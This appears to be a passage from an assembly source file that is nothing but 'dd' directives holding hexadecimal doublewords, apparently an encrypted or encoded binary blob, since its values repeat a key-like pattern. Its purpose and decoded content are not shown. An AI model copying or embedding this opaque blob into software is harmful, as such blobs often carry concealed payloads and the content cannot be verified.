31DB7506h, 51321566h, 0A745E4AEh dd 0BFC46527h, 408F34C7h, 0CB168FF1h, 0A3DC56Ch, 44321566h dd 0A7097407h, 17296DAEh, 88439069h, 4B521566h, 223213ECh dd 0F0DC9466h, 7162C48Fh, 0C1B9EC07h, 24261AB7h, 11389F69h dd 8DDB1566h, 18321566h, 0B70BAA31h, 101AAE35h, 5BC51199h dd 0BAE4FEE7h, 0FD33EE66h, 953D753Dh, 88321565h, 0ACF9A269h dd 2232156Dh, 347AF86Bh, 0D7C2EB4Eh, 228DBA18h, 0B5C0C7E7h dd 973D743Fh, 88321575h, 44321B8Fh, 5597DA66h, 40D794E5h dd 739D6FC2h, 7F5A6D6Eh, 394AD9E3h, 3AB71A60h, 0E8321566h dd 25CAC2EDh, 3FB790EDh, 71521372h, 4D2CFEE7h, 0C43D4D27h dd 22321566h, 0A8637407h, 88321567h, 4B6BDA67h, 223214E2h dd 9409EC66h, 8E296DB6h, 440A9069h, 30DB1566h, 79321566h dd 2A284767h, 0AA9BDE0h, 5FD7F0BBh, 180D5083h, 15B79EBCh dd 4B340143h, 223214E7h, 0AF64EC66h, 77CDEA99h, 0AD6CE24Fh dd 22321560h, 0AE526313h, 0D092AEEh, 42296DBEh, 220E9069h dd 9C3D1566h, 88321577h, 4432198Fh, 16160966h, 76579B9Ch dd 0E9C9C8Fh, 51B79E4Ah, 0CB340153h, 1132156Dh, 8284E393h dd 0B638B22h, 70089069h, 113214DCh, 0D2E51466h, 9AB97306h dd 0A7097493h, 17296DB2h, 887D9069h, 0CE521566h, 9FB174A8h dd 1726356Fh, 0B6B71A66h, 0AD321566h, 2232156Ah, 97A83C86h dd 989DDC36h, 0B0AB3C37h, 3FB79E93h, 1E34016Bh, 883212E2h dd 45B51A66h, 0D7321566h, 0EECDAE35h, 571BEA99h, 4439FC3Dh dd 2F3F1566h, 0A9925DD4h, 450E5CDh, 458F96DCh, 2234017Bh dd 11639169h, 0F3D1566h, 4432157Dh, 22279269h, 1DB1566h dd 0F4321566h, 17156BC1h, 7187E8E5h, 4DC681CFh, 0B3093FBDh dd 5F4B75E3h, 6B71A60h, 0E4321566h, 0A72390EDh, 0CB3D1372h dd 22321561h, 11339169h, 0DBC71566h, 443214DDh, 79ED1466h dd 11339F69h, 0BCA1566h, 503B5CDBh, 0A63D1560h, 113217FEh dd 882C9F69h, 4B521566h, 36DBE3D1h, 0AD321566h, 0E08D1595h dd 478362D5h, 0D7FC77CCh, 733B0228h, 0E9918E8Dh, 755FA8E5h dd 2D321372h, 113072E2h, 883EFC66h, 0F3821566h, 501F6CEAh dd 9E732167h, 0D092572h, 42296C22h, 220F9069h, 9ACE1566h dd 9C2774E3h, 0B8527560h, 22321F8Fh, 0E8862D66h, 36CFD790h dd 256E0472h, 2232198Fh, 50324066h, 16A5D345h, 0E26780A4h dd 9C647473h, 11321567h, 706CE267h, 44339369h, 19CE1566h dd 0A4B41E3h, 0B5B71A60h dd 24321566h, 2232078Eh, 45CFA566h, 0B45FC5E7h, 0F802ED28h dd 5A676A74h, 0F82EDCC9h, 8832156Fh, 25507AB5h, 3D29E847h dd 0AB524DFDh, 0A3EAE0ABh, 0C1B97407h, 24263BA3h, 3DB14293h dd 746DEA42h, 3D7A905Dh, 0A73D137Dh, 1132150Eh, 883E9569h dd 0C03D1566h, 22321560h, 11329669h, 0E3D1566h, 44321567h dd 2BB79E9Fh, 1E340147h, 88321DEDh, 46BA1A66h, 42321566h dd 0AF64ED07h, 0A85400BDh, 72C1F3E7h, 0D4B30C1Eh, 2FBB3702h dd 0BE8AFBE7h, 0B31B2B8Fh, 2D527538h, 113215E5h, 0E96C4366h dd 4439FD36h, 0F9B21566h, 52FBD9A8h, 5704A73Dh, 256B4B54h dd 5B6A905Dh, 943D137Dh, 88321535h, 4432198Fh, 965E9C66h dd 54E3673Bh, 2A98D605h, 61B79E10h, 2D34017Bh, 11321EECh dd 8834FC66h, 2AEF1566h, 7133DE1Dh, 3A6AAB30h, 66F30E5Dh dd 41DCD461h, 0E4B3C391h, 7D006A4Bh, 0BCB5D3E7h, 0B33386A9h dd 2AB51A38h, 1E321566h, 883217E5h, 7F537566h, 394B49E3h dd 41B71A60h, 0E8321566h, 44379769h, 0A3541566h, 9A623E88h dd 33D74BFh, 4432157Dh, 2223FC06h, 0B121566h, 8D1E25EEh dd 2F6A582Eh, 371B30CDh, 7735623Fh, 353DBEDh, 503B4CE3h dd 44807560h, 0EE8F4007h, 0A1CDEA99h, 0C5524889h, 91A52786h dd 6B80AE7Eh, 0B35369BAh, 5F4B59E3h, 1AB71A60h, 1E321566h dd 883219E2h, 9FB37566h, 6E5EADB2h, 40B2AD00h, 11B79E07h dd 0B8340168h, 5237AC37h, 0F0E3054Dh, 0E9FB942Fh, 0C536A641h dd 2A2A8DA7h, 48FD14BDh, 88339469h, 7FCA1566h, 394B45E3h dd 54B71A60h, 87321566h, 44320DEAh, 2221FC66h, 4FB01566h dd 89D7644Eh, 2498DCC3h, 0D24490C5h, 504CAC21h, 0F5B79ED7h dd 0BC340162h, 0DDCDAB30h, 0E61BEA99h, 99B61A38h, 0AD321566h dd 2232156Ah, 0D59F8C86h, 0E6D06003h, 9B276AB4h, 135FA8E5h dd 1E321372h, 883826E2h, 43B11A66h, 42321566h, 77DC9400h dd 0D097446h, 42296DBAh, 221E9069h, 90521566h, 65EE5B91h dd 25F39E70h, 22339E69h, 9ACB1566h, 9C2B24E3h, 4434FC60h dd 60A11566h, 0D906178Ch, 8833AE35h, 9B331566h, 0A709E03Dh dd 17296C16h, 88659069h, 0C13D1566h, 22321567h, 70B79E9Fh dd 61340164h, 4432156Eh, 33AB39C2h, 23A30509h, 0BB5EAD36h dd 94C51E51h, 0FAC5CD91h, 0D9FE814Bh, 0D0F53C92h, 0C73D759Eh dd 22321564h, 0F9527406h, 88321576h, 1EC3200Bh, 611139C0h dd 5A712CD3h, 0F2DA129Eh, 44BA1A3Eh, 43321566h, 0F1B72E07h dd 87340E1Eh, 44325BE3h, 0AE3D7566h, 11321565h, 0EE68FBE6h dd 0CF53C3EDh, 36170CE3h, 1121FC60h, 1F751566h, 23FCC8Fh dd 0F99B65DCh, 51C42247h, 0F80869A6h, 458C434Fh, 23321566h dd 5DB4B91h, 7E321566h, 97641F3Eh, 196B1477h, 1B507D2h dd 0DB7194DFh, 7FE35679h, 394AF1E3h, 53B71A60h, 87321566h dd 443202EDh, 2220FC66h, 5FA1566h, 2AF18E2Dh, 83E3F173h dd 0F061BDE8h, 1E6701F4h, 9A8790EDh, 54DB1372h, 0B7321566h dd 18EDC622h, 277FBCDCh, 0B165F7F2h, 70ACE34Bh, 113214DCh dd 0D2E51466h, 0ACB72E9Ah, 2D340E1Eh, 11327BE3h, 8822FC66h dd 0A9B31566h, 0A9B84B72h, 9E40EE0Fh, 580FB4D9h, 0C1B94B2Fh dd 24263E53h, 0F3B37506h, 8C5D8BE6h, 44321C8Eh, 0FCFEE066h dd 406A96E6h, 0E9688AC7h, 44321F8Eh, 3CCC9B66h, 0BD210433h dd 3D7930Fh, 4B534B95h, 223219E6h, 1135FC66h, 0E3861566h dd 85FE5391h, 308847E6h, 9029643Eh, 3067A894h, 14F0945Ch dd 0BEC2394h, 2AC74FB1h, 934AF9E3h, 72B71A60h, 0DB321566h dd 313BA8E5h, 87321372h, 44323DE3h, 2EBC1A66h, 1E321566h dd 883213E2h, 44B01A66h, 0A9321566h, 5100CE3h, 0EECA7560h dd 1253CDEDh, 223214D8h, 4FC51466h, 78B72E9Ah, 4B340E1Eh dd 22327CE3h, 1EBA1A66h, 61321566h, 4432156Ch, 702C509Ch dd 6DE8DBA7h, 0DB9BA72h, 42263443h, 0A2D79F06h, 1E534390h dd 883202E3h, 4420FC66h, 6BE81566h, 4A7F0826h, 0F0D54232h dd 34A32BD7h, 7D98140h, 0EECDAF34h, 5F1BEA99h, 443FFC3Ch dd 6081566h, 0EE4B0B9Ch, 8C9ADCE5h, 24411A4Bh, 0D0B6A3DCh dd 9B3D4203h, 88321566h, 0C109743Dh, 24296D92h, 11779069h dd 83D1566h, 44321567h, 2B8F969Eh, 11340146h, 88039069h dd 48DB1566h, 18321566h, 0BA5FCCEFh, 1A401131h, 0CFAE9792h dd 361BA8E3h, 0E6B97560h, 0E9CC9E00h, 0BBCDAE35h, 0FD1BEA99h dd 1137FC3Dh, 27051566h, 7F536A18h, 394AEDE3h, 48B71A60h dd 61321566h, 44321577h, 220D9335h, 75DC8B6Dh, 21B85160h dd 3A3F141Bh, 1BB79E2Bh, 0F834017Bh, 8832156Eh, 0D07FB931h dd 0EAC000AEh, 11239A69h, 93D1566h, 4432156Dh, 2232138Fh dd 0D2D9DF66h, 0D9ABD214h, 443214DFh, 7BFD1466h, 11389069h dd 87521566h, 0A58DC3D9h, 432D8841h, 69CE905Dh, 0D3D137Dh dd 4432152Dh, 22321E8Fh, 1CB1B666h, 83D4CFBEh, 0B8F6EBF2h dd 0EBF90EDh, 9D3D1372h, 8832156Ah, 82B37306h, 0A3540C9Dh dd 70C9FCBCh, 0C840AE35h, 0A7F37934h, 5D99465h, 0D0451210h dd 7BB31285h, 380047A3h, 3B88D6E7h, 0CE1B53EDh, 0B3C7E93Dh dd 5F4B11E3h, 72B71A60h, 0E9321566h, 0A83BA8E5h, 4B321372h dd 223257E3h, 1120FC66h, 5D7A1566h, 57415ECAh, 5B82ECB0h dd 0D020E3AFh, 0DD6557E8h, 740390EDh, 70C71372h, 113214DCh dd 0D2E51466h, 4421FD06h, 60DB1566h, 2997233Eh, 1D272862h dd 0CAD833A8h, 611DFCF3h, 2A534E47h, 934B15E3h, 11B71A60h dd 2D321566h, 11320CE8h, 8826FC66h, 2A5D1566h, 4620813h dd 0FC0B3212h, 4543959Ah, 5EF4895Eh, 9FB10ED8h, 1726356Fh dd 0A1B71A66h, 0AD321566h, 2232156Ch, 6B6C11A5h, 0EA6BB3A7h dd 0C1B9F5BDh, 24261657h, 1088479Eh, 89321566h, 41DB4FB1h dd 4A321566h, 0E68097DCh, 0F13A905Dh, 0C13D137Dh, 22321504h dd 1132058Fh, 0EBF61666h, 87D8D16h, 8C2DDD28h, 1CDFE5DAh dd 1B79EF4h, 2434016Fh, 22219369h, 1CDA1566h, 18321566h dd 1133E0C5h, 2CDACE8Ch, 35B533D3h, 8837FD39h, 0F5FF1566h dd 2D44DC9Fh, 113215EEh, 0DB534F66h, 0BBCDEADDh, 79ED3C99h dd 113E9769h, 0D3D1566h, 44321560h, 22329C69h, 94091566h dd 8E296C6Ah, 440E9069h, 32DB1566h, 3321566h, 0E029CD52h dd 0B8593E19h, 46AD5200h, 9A478887h, 9C30CCE3h, 0FD63E960h dd 22321567h, 0F86BDA67h, 88321574h, 926A77E2h, 5224FB86h dd 34F91A13h, 62BEA7EFh, 0C109B24Ah, 24296C76h, 111E9069h dd 8FDB1566h, 0FD321566h, 0D43463D5h, 94B9F7E7h, 8E2615CFh dd 458A459Ah, 23321566h, 1ADB4DA1h, 8D321566h, 43AF7E8Ch dd 7CCB9951h, 9409F7B3h, 8E296C72h, 44109069h, 0A9CB1566h dd 5107CE3h, 3F3D7560h, 0D7DB94BEh, 4379F4A6h, 1133AD36h dd 4F331566h, 0C554753Eh, 438A4994h, 682A905Dh, 0D3D137Dh dd 443215FBh, 22279C69h, 1DB1566h, 24321566h, 8AAC227h dd 0D798D9C7h, 968D9064h, 3545791h, 5022F4E3h, 24DB7560h dd 0E8321566h, 4DAFA44Fh, 878D1A0Fh, 223CFC07h, 0C8A01566h dd 11D9AD06h, 2BC862B0h, 0EB85F685h, 4D59AE35h, 0CB796AC3h dd 4663FEE7h, 0D1B348DEh, 30DF4F7Dh, 8769CA67h, 44320FE2h dd 36B31A66h, 0F8321566h, 88321569h, 4066FF42h, 0E49D1A7Fh dd 251EC49Dh, 0E8C9D6A4h dd 4432018Eh, 0A65BDF66h, 0E6CBF2A8h, 758E0492h, 0BA5A71AEh dd 55801756h, 36897350h, 5EB94A83h, 58B72E07h, 2D340E1Fh dd 113255E3h, 3CBEC66h, 501654E3h, 223EFC60h, 4E301566h dd 0C8F2EB6h, 693098B4h, 0CEB116EBh, 350E9C62h, 0D7161199h dd 44321A8Fh, 0A18A5D66h, 0A5C6B936h, 7D73CFA3h, 1992C611h dd 0C9B37306h, 9385411Ah, 0A8B72E07h, 4B340E1Fh, 223259E3h dd 1ADA7566h, 0D1321566h, 39D2CE04h, 0CF52414h, 70689F23h dd 0AE7790EDh, 55DB1372h, 10321566h, 0D5125305h, 8002F148h dd 0E6014671h, 0B8E55603h, 0EECDAC37h, 471BEA99h, 443DFC3Fh dd 0B2C1566h, 8C77061Eh, 0B0875517h, 86C4ECD2h, 6B72E9Bh dd 1E340E1Fh, 883254E3h, 443FFC66h, 52871566h, 53379BBCh dd 0AA708EBAh, 0CF04AB69h, 361BB0E3h, 943DE060h, 8832156Ah dd 44349969h, 0AA3D1566h, 11321566h, 8833A833h, 0AB331566h dd 25BC1A3Bh, 1E321566h, 883214EFh, 0C109E066h, 242636B3h dd 11039069h, 86DB1566h, 7D321566h, 8BA9CC89h, 0B59F6C6Ah dd 4A40C1B0h, 0BDB79E47h, 2D340170h, 113212EBh, 0D1657566h dd 2569D1E6h, 2233AF34h, 0C6331566h, 0B3CAEC3Ch, 5F4B3DE3h dd 0DB71A60h, 71321566h, 87B0C8E6h, 443217ECh, 437EA366h dd 49F90EDh, 43D1372h, 4432156Ah, 1864AA06h, 90545024h dd 0E9FDBD8Fh, 0BE03C257h, 0A570C257h, 9409E9B1h, 8E296C02h dd 445E9069h, 0A53D1566h, 11321568h, 88321C8Fh, 675A5A66h dd 0A92D1E39h, 0ACB1434Ah, 8E296C0Ah, 5AB71A66h, 0CB321566h dd 1132156Dh, 108549D6h, 0B1B5384Ah, 0A1608FBBh, 51E4CDBh dd 0C3D1560h, 44321548h, 0BBB79E9Eh, 1E340142h, 88321FE0h dd 4437FC66h, 0F7911566h, 41BC7333h, 77CDEADEh, 1CF53C99h dd 223A9569h, 90521566h, 0EE94DA97h, 0C1097458h, 24296C0Eh dd 11429069h, 82DB1566h, 0E4321566h, 74DAC619h, 0F9C55807h dd 0E48F96ECh, 44340E1Fh, 22169069h, 953D1566h, 88321567h dd 0F9B1ED9Ah, 2426393Fh, 2EB61A66h, 0E8321566h, 44339369h dd 2DCB1566h, 113215E7h, 0DB97466h, 42261EDFh, 0CA8AAA06h dd 1688437Fh, 0E944C119h, 1D6D4431h, 2DFD9227h, 113204E4h dd 83B11A66h, 0AD321566h, 22321560h, 0D1655208h, 0D09088Bh dd 42296C4Ah, 221F9069h, 9ACA1566h, 9C29A0E3h, 443AFC60h dd 47D21566h, 5BC8ADFFh, 3567810Eh, 0BBCDEA99h, 0CB6FFA4Fh dd 1132156Dh, 315C3EF2h, 97DA73A1h, 1992CD45h, 0A4B25E3h dd 0C6B71A60h, 4B321566h, 22320CE4h, 1DB7566h, 1D321566h dd 0C66EBC2h, 0A78ACF64h, 0E14F6BDBh, 0E8946BA2h, 0C1B97407h dd 24260927h, 108A459Ah, 89321566h, 0F1524DA1h, 223EFC0Eh dd 7E0C1566h, 0BF111581h, 250A6DDEh, 4253A2B9h, 0A741A5DFh dd 71851A26h, 70B72E07h, 2D340E1Fh, 113244E3h, 89B41A66h dd 0B1321566h, 0BAB90EDh, 1DB1372h, 56321566h, 76CD77B3h dd 8DC06742h, 0F388DD65h, 6156F46Bh, 44321572h, 82BE6571h dd 0A3A6AA7Ah, 0F155A0CFh, 70DC7B20h, 80AA7812h, 0EECDA833h dd 671BEA99h, 0CF54753Bh, 20B61AA4h, 0A6321566h, 0D09743Bh dd 42296C5Eh, 22719069h, 923D1566h, 88321561h, 44339E69h dd 2DCE1566h, 113214E1h, 0DB9E966h, 422605D7h, 0F8897306h dd 1138FC0Ch, 0F57A1566h, 0BE8349CCh, 0DB0DE07Fh, 108F4007h dd 89321566h, 42DB4889h, 37321566h, 188B5D17h, 0B4B72EEAh dd 4B340E1Fh, 223226E3h, 94B9E966h, 8E260903h, 0B3B37306h dd 2D52FAC0h, 113215EEh, 0F4897366h, 14537478h, 0DDCDEADEh dd 49F53C99h, 88321E8Fh, 0D7B8A366h, 1AFD33CBh, 5E698B88h dd 0F172905Dh, 0C13D137Dh, 2232155Ah, 1132128Fh, 351C1A66h dd 357AACBFh, 2232138Fh, 8A739D66h, 3B9EAD7h, 502B24E3h dd 2222FC60h, 7CE1566h, 2876D1E0h, 9002D502h, 23C0D102h dd 0A96205D2h, 77CDEA99h, 0BD6AD24Fh, 0A63DEA6Dh, 11321552h dd 33544206h, 246ACFD4h, 2DF49E00h, 7053D5D9h, 8832078Fh dd 86C51266h, 0C070CED2h, 0A2962DA3h, 305D5C95h, 0AD2E51A6h dd 0DDCDF94Ch, 0D8851A06h, 0E9E8AA69h, 7063905Dh, 0A73D1372h dd 11321528h, 0DEB7989Fh, 4B340E66h, 223214E7h, 12DBED66h dd 0E8CDEA8Ah, 44321A8Fh, 1EC9466h, 731A8CD3h, 0CFD9BBB2h dd 62B7C62Ch, 2232188Eh, 0D322FF66h, 710FD5E1h, 89DFA5ABh dd 2EDB79BAh, 81321566h, 0B2CD8F0Eh, 73E321F7h, 79B3F2C0h dd 9409ED07h, 8E261CDBh, 447F9069h, 75521566h, 0AF91E7E7h dd 366C6493h, 5D48E187h, 0AE8F9607h, 10340E1Eh, 88039069h dd 0C9CB1566h, 7B3972E3h, 19B01A66h, 87321566h, 443217E3h dd 0CB537566h, 0EECDFEE0h, 8DBC1A06h, 22321566h, 5046C4E7h dd 11369869h, 37541566h, 7F53B81Bh, 394A89E3h, 3FB61A60h dd 0E8321566h, 44309969h, 0D5B91566h, 0B1B72E07h, 87340E1Eh dd 44323DE3h, 30B21A66h, 0F8321566h, 8832156Bh, 0B0321718h dd 98B79ADEh, 351A2E5Bh, 6302FC96h, 24CBEA99h, 9DE19E00h dd 292E2E85h, 8CDE9607h, 0FC1611EFh, 22321566h, 0F86AD3EFh dd 88321560h, 2498DCC3h, 0DCB190C5h, 0A8B71A67h, 7D321566h dd 3CA2905Dh, 0A73D137Dh, 11321520h, 88359269h, 0C03D1566h dd 22321567h, 0D5B79893h, 61324DE1h, 4432156Bh, 1082593Fh dd 0AB54ACF9h, 0A708F0F6h, 0FC54752Ch, 4252ADC7h, 7059AF07h dd 0E95314DEh, 0BBD8A88Fh, 25BB1A99h, 1E321566h, 883214E6h dd 0C109ED66h, 24296DF2h, 11189069h, 5CA1566h, 1CBA2FE3h dd 0CF8B7566h, 7719D71Ch, 2589FDE7h, 0CFDBE007h, 2DCDEA8Ch dd 11321EE9h, 8834FC66h, 29891566h, 0F3D3C5E3h, 69AA905Dh dd 0D3D137Dh, 44321542h, 2232108Fh, 0F673C966h, 0DBFFFD4h dd 446A9D19h, 223A9E69h, 953D1566h, 88321564h, 0FDB7406h dd 0DBCDEA8Ch, 35369E36h, 8836D1E7h, 0C33D1566h, 22321570h dd 1132048Fh, 953C1566h, 5525939Dh, 1D789E9Bh, 0C7130DC2h dd 31633769h, 2822738Fh, 0CBF3CC91h, 50E3E263h, 0C604AE35h dd 0AFE3604Dh, 4447E6E7h, 0FAF30C2Eh, 9E1E262h, 196D3695h dd 79EB149Fh, 0ED6BDBEFh, 0D3DE36Dh, 44321570h, 0CB9BFC9Eh dd 1ADBEA99h, 4A321566h, 6E7A791Bh, 654056CCh, 0FDB334CDh dd 88321562h, 0CD1619EFh, 7BFC9CA7h, 0BCC39406h, 0EE0D16B5h dd 254523DFh, 26C7A0EFh, 98CB1372h, 9C13A0D3h, 43B81A60h dd 2D321566h, 113214EFh, 0C3DE966h, 44321561h, 22339469h dd 91CE1566h, 0D3DFC58h, 44321466h, 223F9269h, 0A8521566h dd 94C27468h, 44329D69h, 72531566h, 113214DEh, 0D9C21466h dd 443215DFh, 0A9F31466h, 1E6A4C5Fh, 883201E2h, 443DFC66h dd 2C141566h, 9723EBCDh, 0E83C38BBh, 0EB0457C1h, 2DF594E1h dd 1001751Eh, 878A4591h, 6D01751Eh, 9D524DA1h, 34EA9366h dd 0DE53E1ECh, 6D1611E7h, 7904D413h, 43FCAD36h, 2D1F2694h dd 6DCF25BBh, 0A43D4DA5h, 11321574h, 8832188Fh, 0BF376466h dd 0A9CA2A88h, 0DF36A6E1h, 0D860DD01h, 334ABDEh, 648CAF66h dd 0D31B1521h, 0D2E1143Eh, 0B18F2E9Eh, 2D340162h, 11322BE4h dd 81B31A66h, 24321566h, 0A3544B34h, 70327D94h, 0E3DEE5Dh dd 44321526h, 2232078Fh, 8DC97666h, 5C5EBC5Dh, 21CED5A6h dd 7554D95Bh, 71950FFFh, 8832138Fh, 3582F466h, 2D6D10FBh dd 0F853E5D1h, 77CDFD05h dd 4432138Fh, 89E7A466h, 71427E79h, 535AA00h, 25EA9E00h dd 3A87A8EDh, 0F8521372h, 88321577h, 5B8CA364h, 243D6F62h dd 96D97BEBh, 90C37635h, 95B37382h, 0E5536B07h, 521B4E3h dd 88321560h, 24CEE966h, 22339B69h, 98CE1566h, 9C13A0D3h dd 45BF1A60h, 0DE321566h, 0EDED88EBh, 8752137Dh, 443213ECh dd 0ACF59466h, 7033BC2Eh, 0E852C699h, 4BF8A269h, 0CA53EFD1h dd 11321576h, 0DA1ED2A9h, 0A57FE6B1h, 1C9F4E42h, 7BF2B93h dd 0D1E49E00h, 4BF21E07h, 22325AE2h, 0F9527566h, 88321574h dd 29A4A25Ch, 894DFDD4h, 2030BC5Fh, 0F8A2991h, 256BFA70h dd 22379B69h, 77881566h, 0E96F8578h, 4435FD06h, 1F311566h dd 5A4AA42Ch, 68B373F9h, 2468AC4Bh, 43534B31h, 1132968Fh dd 3F3D7566h, 77E494BDh, 434AFCE6h, 9FEE88EBh, 53D137Fh dd 4432156Ch, 2D2DA506h, 113215EFh, 5BCD7466h, 0BB779669h dd 25DBEA99h, 2A321566h, 880BF551h, 0F1B9B923h, 242634D3h dd 0B0879C93h, 61340175h, 4432156Dh, 0ECC3915h, 10D1003Dh dd 530C95Dh, 5EA4E3FBh, 2222FC60h, 0D8A41566h, 0A85714C3h dd 7EB670CBh, 8B144ACEh, 0C2CD7D87h, 88321A8Fh, 0F60BD766h dd 0FD0D7EBAh, 0E5FCC6A3h, 1C24FF38h, 40C790EDh, 0CA521372h dd 1132156Fh, 0FE1D4318h, 8D66B03Ch, 0A86AED3Dh, 94BB74A1h dd 8E2634D3h, 44339169h, 43CB1566h, 1EC99E06h, 883211E0h dd 0A08C7366h, 1CB2746Dh, 0B2B71A8Eh, 87321566h, 443214EFh dd 9FB1EC66h, 1726165Fh, 7B61A66h, 0AD321566h, 2232156Ah dd 0F72781BEh, 5A650C5Ah, 93E0A328h, 1436BAD6h, 3537FDA6h dd 48F2EB6Ch, 0F3611D8Eh, 0A2F5EB5Ch, 0E91A3189h, 1E8C753Dh dd 0BC71D173h, 2235FC07h, 0D30B1566h, 1D354E30h, 0C7C7BFDEh dd 16BB118Ah, 14C74D42h, 0E2AC59C3h, 0F967ED4Fh, 48AC59C3h dd 716FFD4Fh, 4A9CEADEh, 0A1C5940Ch, 431CAB2Ch, 1136F9E7h dd 0BCBB1566h, 4436AB42h, 0D21B1566h, 1AB91A38h, 61321566h dd 44321560h, 0EF1F575Ah, 0E89950FAh, 8830008Fh, 0D9BFEC66h dd 2429F6F6h, 11389B69h, 8DDB1566h, 0FE321566h, 0DAD2A56Ch dd 9CCAC699h, 93CA15FBh, 4EB11A60h, 42321566h, 913DEDEDh dd 88321566h, 4434FC07h, 98671566h, 0E2132A8Bh, 252C699h dd 0EA6CAF83h, 0DA536795h, 943DD56Dh, 88321579h, 4432018Fh dd 53DED766h, 49F5DEE7h, 145208E3h, 1C9C96C8h, 0C689C7F4h dd 1127FC89h, 0BC71566h, 5013A0E3h, 0A33D1060h, 11321567h dd 76E6FC9Eh, 0C9CAEA99h, 39C832FBh, 1135FC60h, 0F7DA1566h dd 469B2CCDh, 0CBE1EA57h, 11321572h, 5317717h, 0CBE0D6Fh dd 84CB2Ch, 0FDC31A1Dh, 8FAE92E8h, 0C13DD56Dh, 22321561h dd 110DFC9Eh, 0D9CB1566h, 443211DFh, 4BD89466h, 101DBE2Ch dd 0E1F094ACh, 1D1DBE2Ch, 22321E8Fh, 0B18ADA66h, 95D1C4AEh dd 7127C818h, 2233388Fh, 1FBA1A66h, 61321566h, 4432156Fh dd 9AC96ADEh, 60A8671Ah, 54AF98A1h, 0BC340CE8h, 0A13DC699h dd 11321532h, 88321E8Fh, 62F78D66h, 8691A471h, 0E3C47C9Ah dd 0D1CB4706h, 44249769h, 33DB1566h, 72321566h, 94E4894Eh dd 0FCEAB73h, 0D43E4545h, 3D2ABC19h, 3D879E07h, 24340147h dd 2DC3AA69h, 0F853C2D9h, 88323878h, 4DB71A9Ah, 42321566h dd 0E946A2DEh, 0E9C19F7Fh, 658798EDh, 2EDB1372h, 0FD321566h dd 0B1BAFCF2h, 8A94897Eh, 42B78897h, 11329269h, 0C8881566h dd 256289A4h, 387A0EFh, 1ADB1372h, 73321566h, 0B440F737h dd 0EBD95DE5h, 1E52A6C6h, 3F3DCDD9h, 0F96774B1h, 55B2707Ch dd 221BF8E7h, 65F305E2h, 1FDF9463h, 0A3439B10h, 534BC493h dd 0D5DB3CF6h, 85B3E44Fh, 23D90783h, 0E6E3929Ah, 0B9E324BCh dd 0B8E324ACh, 5C87FBE7h, 0FFB37300h, 0E69B66F5h, 82B3DB4Fh dd 4C9B66F5h, 6F87D3E7h, 74527300h, 8CFB9400h, 86C174B7h dd 113E9369h, 53D1566h, 44321560h, 22329D69h, 56DB1566h dd 87CDEA9Bh, 443214EDh, 0BFBFE066h, 17288DBCh, 883C9669h dd 4B521566h, 223215E6h, 0DBDD9466h, 0E96472D9h, 48DBC699h dd 0D0321566h, 99603A94h, 0E5B7FD1Eh, 243636B9h, 0F164AB00h dd 0FEF3DDE7h, 0DA536D42h, 0CDCF9C33h, 0F2BB488Ch, 1134FC3Ch dd 11AE1566h, 454AC2C7h, 3A87904Dh, 0F8C71372h, 8832156Eh dd 277CDCC7h, 4323A664h, 1AFF90EFh, 2521372h, 1DC746A7h dd 2ABE1A07h, 1E321566h, 883217EEh, 0CF537566h, 362AA0E3h dd 0F8CA7560h, 88321568h, 0F3F8603Bh, 2BAEA440h, 154B002Fh dd 0DD53DDCAh, 81B3F0EFh, 22321562h, 1136F8E7h, 0A4B51566h dd 78BB4942h, 23B31A42h, 0E8321566h, 1657406h, 40F59481h dd 0A3321566h, 11321189h, 0AC0E9266h, 60369C3Ah, 7CBF989Eh dd 71340FFDh, 42B3739Fh, 0BB53FBA4h, 3EB91AB7h, 1E321566h dd 883203E9h, 4423FC66h, 78F61566h, 9D47121Dh, 53306E51h dd 0C9D154A6h, 0A9EA700Fh, 51F48E3h, 0E0CBED60h, 443230D3h dd 2D1611EFh, 11321FE6h, 8837FC66h, 0AB051566h, 70DCF3B1h dd 0D3B3F7EFh, 88321562h, 4436FFE7h, 36B51566h, 2DBB4942h dd 883CFC42h, 22F01566h, 0AA4ABD1Bh, 44FC9718h, 9DCCD2E7h dd 5C8790EDh, 42CE1372h, 1EEB9E00h, 883216EEh, 0BEB97366h dd 41327D07h, 15BB1566h, 9BB91A42h, 0AD321566h, 22321568h dd 4A7F0826h, 0F0D54232h, 34A32BD7h, 0A73D8140h, 1132157Ch dd 8823FC06h, 0B8931566h, 5176A012h, 0FAC7385Ch, 2D7A7802h dd 142A673Ch, 0AFBF7439h, 1728893Eh, 0E8E3EA9Ah, 2453AAD4h dd 22349F69h, 9A3D1566h, 88321566h, 4432018Fh, 0FB8B6D66h dd 51F5969Bh, 0D3BC0DCDh, 153DCE79h, 0E836FA48h, 595A74E6h dd 1321530h, 70B33162h, 0EF6B0242h, 0E3B34F01h, 0EFFF4C71h dd 0FF61459Ah, 2A94771h, 15164967h, 61B34C3Dh, 64A94771h dd 22321C8Fh, 0D9496066h, 3BFB49C4h, 57DB7C60h, 36321566h dd 31B085E7h, 0F750B46h, 9DF75869h, 28076957h, 9C198967h dd 8E26383Bh, 4BF39E06h, 223210E4h, 0DD78AF66h, 0B5371D9h dd 501470DBh, 0A63D1560h, 113215E4h, 8EBB1A06h, 4B321566h dd 223215E1h, 0CF851A66h, 59B79E07h, 0BD340146h, 457904Dh dd 77521372h, 8733D0DCh, 7F53EFD9h, 71B41AA7h, 1E321566h dd 883218EEh, 97897566h, 0A354880Fh, 4E8F0A96h, 0DB97424h dd 4226172Bh, 22321E8Fh, 47E1966h, 190B1608h, 3F045DFh dd 4579065h, 90521372h, 2D14DCB8h, 91EB940Fh, 431A9ED9h dd 0CCB79C9Fh, 87340179h, 443214E9h, 0B9DBEC66h, 71321567h dd 167E007h, 40F79483h, 0A1321566h, 3DB5118Bh, 84BB4942h dd 5DBB1A42h, 0CB321566h, 11321572h, 30FEFAC0h, 3C0E2251h dd 0BDA149CAh, 89B9EEB6h, 84F87DC6h, 0CDF99C35h, 62E9EBEh dd 1136D1E7h, 0D8521566h, 1AF2AA69h, 9B63749Fh, 0EECDEA99h dd 0E86BDD67h, 4432108Eh, 7BD3DD66h, 1CDBA4BDh, 0FB321566h dd 8502578h, 0A5286C75h, 8C4817CEh, 73B97338h, 40DE9607h dd 9F1639EFh, 7DF1074Bh, 4DB3C891h, 28F1374Ah, 0DE6FFD6Fh dd 1133AE35h, 50331566h, 4EBC1A3Dh, 0CB321566h, 11321563h dd 6C92D1C4h, 95B79CD4h, 42340146h, 1EF2AA69h, 8953EAD9h dd 503D54E3h, 953D7560h, 11BB1AA1h, 0E9321566h, 44321B8Fh dd 0C0280766h, 0D1A74ACBh, 9C58D85Dh, 83D1CA4Bh, 361470E3h dd 11321560h, 